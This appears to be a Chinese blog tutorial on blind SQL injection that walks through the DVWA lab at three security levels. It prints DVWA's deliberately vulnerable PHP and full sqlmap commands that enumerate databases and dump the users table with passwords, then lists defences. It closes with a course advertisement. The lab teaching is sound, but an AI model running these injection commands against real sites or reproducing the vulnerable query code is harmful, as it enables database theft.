SQL Injection (Blind)之盲注(原理、分类、利用)

SQL Injection (Blind)盲注

一、SQL盲注概述

在SQL注入过程中,SQL语句执行后,选择的数据不能回显到前端页面,此时需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响 应时间不同)。一般情况下,盲注可分为两类:
基于布尔的盲注(Boolean based)
基于时间的盲注(Time based)

1.1 基于布尔的盲注

某些场合下,页面返回的结果只有两种(正常或错误)。通过构造SQL判断语句,查看页 面的返回结果(True or
False)来判断哪些SQL判断条件成立,通过此来获取数据库中的 数据。

1.2 基于时间的盲注

又称延时注入,即使用具有延时功能的函数sleep、benchmark等,通过判断这些函数是否正常执行来获取数据库中的数据。

1.3 SQL盲注常用函数
if()

功能:条件判断。
语法格式:if(expr1,expr2,expr3):expr1
为true则返回expr2,expr1为false则返回 expr3。
注: 仅MySQL支持if(expr1,expr2,expr3)。

length()

功能:返回字符串的长度,以字节为单位。
语法格式:length(str)

substr()、substring()

功能:从指定的位置开始,截取字符串指定长度的子串。
语法格式:substr(str,pos)或substr(str,pos,len),substring(str,pos)或substring(str,pos,len)
参数说明
lstr:要提取子串的字符串。
lpos:提取子串的开始位置。
len:指定要提取的子串的长度

ascii()、ord()

功能:返回字符串最左边字符的ASCII码值。
语法格式:ascii(str),ord(str)
延时函数sleep()
功能:让语句延迟执行一段时间,执行成功后返回0。
语法格式:sleep(N),即延迟执行N秒。

二、SQL盲注测试

实验环境:DVWA

2.1 DVWA-LOW级别下的sql盲注
第一步:分析源码
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
 // Get input
 $id = $_GET[ 'id' ];
 $exists = false;
switch ($_DVWA['SQLI_DB']) {
    case MYSQL:
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

        $exists = false;
        if ($result !== false) {
            try {
                $exists = (mysqli_num_rows( $result ) > 0);
            } catch(Exception $e) {
                $exists = false;
            }
        }
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
        break;
    case SQLITE:
        global $sqlite_db_connection;

        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        try {
            $results = $sqlite_db_connection->query($query);
            $row = $results->fetchArray();
            $exists = $row !== false;
        } catch(Exception $e) {
            $exists = false;
        }

        break;
}

if ($exists) {
    // Feedback for end user
    echo '<pre>User ID exists in the database.</pre>';
} else {
    // User wasn't found, so the page wasn't!
    header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

    // Feedback for end user
    echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>

由源码可以看到未对参数进行任何检查、过滤,只是回显的时候被隐藏,存在明显sql注入漏洞,返回结果只有两种,user id exiets in the
database和user id is missing from the database。

第二步:获取url和cookie

启动Burpsuite,在SQL injection(Blind)中输入如下,然后查看Burpsuite中抓到的URL和Cookie。
![在这里插入图片描述](https://img-
blog.csdnimg.cn/abb56330fc744c858fc67d5b849bf5ac.png#pic_center)

第三步:进行sqlmap

sqlmap –u
“http://192.168.1.9/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#”
–cookie=” PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch
![在这里插入图片描述](https://img-
blog.csdnimg.cn/5845d7fc06184d47842ef50cdc002956.png#pic_center)

发现有两个类型的注入漏洞,一个是基于布尔的,一个是基于时间的

第四步:遍历数据库

sqlmap –u
“http://192.168.1.9/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#”
–cookie=” PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch --dbs
![在这里插入图片描述](https://img-
blog.csdnimg.cn/3a568b708cf04075a5616b001ec8e7fc.png#pic_center)

第五步:指定数据库获取表名

sqlmap -u
“http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#”
–cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch -D dvwa
–tables
![在这里插入图片描述](https://img-
blog.csdnimg.cn/c55a036fd36845999055052d187ca5df.png#pic_center)

第六步:获取表里属性的信息

sqlmap -u
“http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#”
–cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch -D dvwa -T
users --columns
![在这里插入图片描述](https://img-
blog.csdnimg.cn/f6e43e0f49c04cd48427304d12465408.png#pic_center)

第七步:查看user和password的内容并解密

sqlmap -u
“http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#”
–cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch -D dvwa -T
users --dump
![在这里插入图片描述](https://img-
blog.csdnimg.cn/c1775056854545008ffa1dc654e96e7c.png#pic_center)

sqlmap -u
“http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#”
–cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch -D dvwa -T
users -C user,password -dump
![在这里插入图片描述](https://img-
blog.csdnimg.cn/4e70e723c3a14c1d8ca30c02e34f685a.png#pic_center)

2.2 DVWA-Medium级别下的sql盲注

第一步:分析源码

if( isset( $_POST[ 'Submit' ] ) ) {
 // Get input
 $id = $_POST[ 'id' ];
 $exists = false;
switch ($_DVWA['SQLI_DB']) {
    case MYSQL:
        $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

        $exists = false;
        if ($result !== false) {
            try {
                $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
            } catch(Exception $e) {
                $exists = false;
            }
        }

        break;
    case SQLITE:
        global $sqlite_db_connection;

        $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        try {
            $results = $sqlite_db_connection->query($query);
            $row = $results->fetchArray();
            $exists = $row !== false;
        } catch(Exception $e) {
            $exists = false;
        }
        break;
}

if ($exists) {
    // Feedback for end user
    echo '<pre>User ID exists in the database.</pre>';
} else {
    // Feedback for end user
    echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>

只能进行选择,所以使用BurpSuite进行拦截,在数据包中修改id值,然后在Response中的Render下查看结果。

第二步:获取url和cookie

![在这里插入图片描述](https://img-
blog.csdnimg.cn/cf46c84e82624bb9a7b55f67a7668a41.png#pic_center)
Cookie: PHPSESSID=c70fedb980dad8412a65b6d7; security=medium

第三步:进行sqlmap

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#”
–cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium”
–data=“id=1&Submit=Submit” --batch
![在这里插入图片描述](https://img-
blog.csdnimg.cn/b1962252d6ec44a3b39994550dfad33a.png#pic_center)

注入类型为post,一个是基于布尔的,一个是基于时间的

第四步:遍历数据库

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#”
–cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium”
–data=“id=1&Submit=Submit” --batch --dbs
![在这里插入图片描述](https://img-
blog.csdnimg.cn/3fc3383c8b8f4bb6a199fb45ac0f9487.png#pic_center)

第五步:指定数据库获取表名

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#”
–cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium”
–data=“id=1&Submit=Submit” --batch -D dvwa --tables
![在这里插入图片描述](https://img-
blog.csdnimg.cn/f7fe3ec6679d420cadbd3dc1100f8ee8.png#pic_center)

第六步:获取表里属性的信息

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#”
–cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium”
–data=“id=1&Submit=Submit” --batch -D dvwa -T users --columns
![在这里插入图片描述](https://img-
blog.csdnimg.cn/cd1e315a481b45aaba167a2778552225.png#pic_center)

第七步:查看user和password的内容并解密

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#”
–cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium”
–data=“id=1&Submit=Submit” --batch -D dvwa -T users -C user,password -dump
![在这里插入图片描述](https://img-
blog.csdnimg.cn/2393c5819bf94b6eb45cc7f28dd74c00.png#pic_center)
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#”
–cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium”
–data=“id=1&Submit=Submit” --batch -D dvwa -T users --dump
![在这里插入图片描述](https://img-
blog.csdnimg.cn/53fbb92d7321499a896eebe6046ce699.png#pic_center)

2.3 DVWA-high级别下的sql盲注
第一步:分析源码
if( isset( $_COOKIE[ 'id' ] ) ) {
 // Get input
 $id = $_COOKIE[ 'id' ];
 $exists = false;
switch ($_DVWA['SQLI_DB']) {
    case MYSQL:
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

        $exists = false;
        if ($result !== false) {
            // Get results
            try {
                $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
            } catch(Exception $e) {
                $exists = false;
            }
        }

        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
        break;
    case SQLITE:
        global $sqlite_db_connection;

        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        try {
            $results = $sqlite_db_connection->query($query);
            $row = $results->fetchArray();
            $exists = $row !== false;
        } catch(Exception $e) {
            $exists = false;
        }

        break;
}

if ($exists) {
    // Feedback for end user
    echo '<pre>User ID exists in the database.</pre>';
}
else {
    // Might sleep a random amount
    if( rand( 0, 5 ) == 3 ) {
        sleep( rand( 2, 4 ) );
    }

    // User wasn't found, so the page wasn't!
    header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

    // Feedback for end user
    echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>

限制了输出行数为一行,而且失败时 当他随机生成的数等于3就会随机休眠2-4秒,目的是干扰基于时间的盲注

第二步:获取url和cookie

![在这里插入图片描述](https://img-
blog.csdnimg.cn/5b922b2736b34e64b8988d44d85cf395.png#pic_center)

第三步:进行sqlmap

–second-order 当web程序输入与返回不在一处界面时,使用此参数监控另一处页面
构造函数:
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1;
PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --data=“id=1&Submit=Submit”
–batch
![在这里插入图片描述](https://img-
blog.csdnimg.cn/6cdafc90dea54878a8fcb11675cece38.png#pic_center)

第四步:遍历数据库

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1;
PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --data=“id=1&Submit=Submit”
–batch --dbs
![在这里插入图片描述](https://img-
blog.csdnimg.cn/438ed83133734ca2bcbc7f1938f47fd1.png#pic_center)

第五步:指定数据库获取表名

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1;
PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --data=“id=1&Submit=Submit”
–batch -D dvwa --tables
![在这里插入图片描述](https://img-
blog.csdnimg.cn/282ae628b4c24f7f9f5b93a68277042f.png#pic_center)

第六步:获取表里属性的信息

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1;
PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --data=“id=1&Submit=Submit”
–batch -D dvwa -T users --columns
![在这里插入图片描述](https://img-
blog.csdnimg.cn/b8e4eaf732ba4c1e94a2bc933359afd7.png#pic_center)

第七步:查看user和password的内容并解密

![在这里插入图片描述](https://img-
blog.csdnimg.cn/2b0a295eeb534c4ca14e28ba013a1ec9.png#pic_center)
做到这里我发现从一开始就错了,一个非常低级简单的简单的错误:我的url选错了,而且high等级有两个窗口,请求窗口和响应窗口,查询数据提交的页面、查询结果显示的页面是分离成了2个不同的窗口分别控制的。即在查询提交窗口提交数据(POST请求)之后,需要到另外一个窗口进行查看结果(GET请求)。
![在这里插入图片描述](https://img-
blog.csdnimg.cn/610f4c7e679148e1a26e74cd2671c8d6.png#pic_center)

我们还需要引入一个知识点–second-order(二阶sql注入)
构造函数:
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php”
–data=“id=1&Submit=Submit” --second-url
“http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1;
PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch
![在这里插入图片描述](https://img-
blog.csdnimg.cn/bea1e6a13ac844cbb6646c8075c96595.png#pic_center)

第四步:遍历数据库

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php”
–data=“id=1&Submit=Submit” --second-url
“http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1;
PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch --dbs
![在这里插入图片描述](https://img-
blog.csdnimg.cn/9f44d2aeffb44d9a8e3e8c547a0331e1.png#pic_center)

第五步:指定数据库获取表名

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php”
–data=“id=1&Submit=Submit” --second-url
“http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1;
PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch -D dvwa --tables
![在这里插入图片描述](https://img-
blog.csdnimg.cn/5975c505eb6d4b7f93b0c7c48b9065fd.png#pic_center)

第六步:获取表里属性的信息

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php”
–data=“id=1&Submit=Submit” --second-url
“http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1;
PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch -D dvwa -T users
–columns
![在这里插入图片描述](https://img-
blog.csdnimg.cn/b1f16dc3fb874ce78d125373cf003fc4.png#pic_center)

第七步:查看user和password的内容并解密
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php”
–data=“id=1&Submit=Submit” --second-url
“http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1;
PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch -D dvwa -T users -C
user,password --dump
![在这里插入图片描述](https://img-
blog.csdnimg.cn/3f61147bd686457691447e031d7d5412.png#pic_center)

到这里就注入成功了!

2.4 DVWA-Impossible级别下的sql盲注

impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
Anti-CSRF
token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过

三、sql盲注的防御

与sql注入的防御方法一样,这里再写一遍
1.使用安全的API(应用程序编程接口)
2.过滤危险字符,例如采用正则表达式匹配union、sleep等关键字,如果匹配到,则退出程序。
3.对输入的特殊字符进行Escape转义处理
4.使用白名单来规范用户的输入,对客户端进行控制,不允许输入SQL注入相关的特殊字符
5.服务器端在提交数据之前进行SQL语句查询,对特殊字符进行过滤、转义、替换和删除等操作
6.使用PDO预编译语句,PDO技术就是将查询查询的语句和输入的参数分开,先将需要查询的语句进行预编译,然后再将参数传入进去,注意,不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增删改查。(PDO预编译是防御SQL注入最好的方法)

接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

  • 15
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值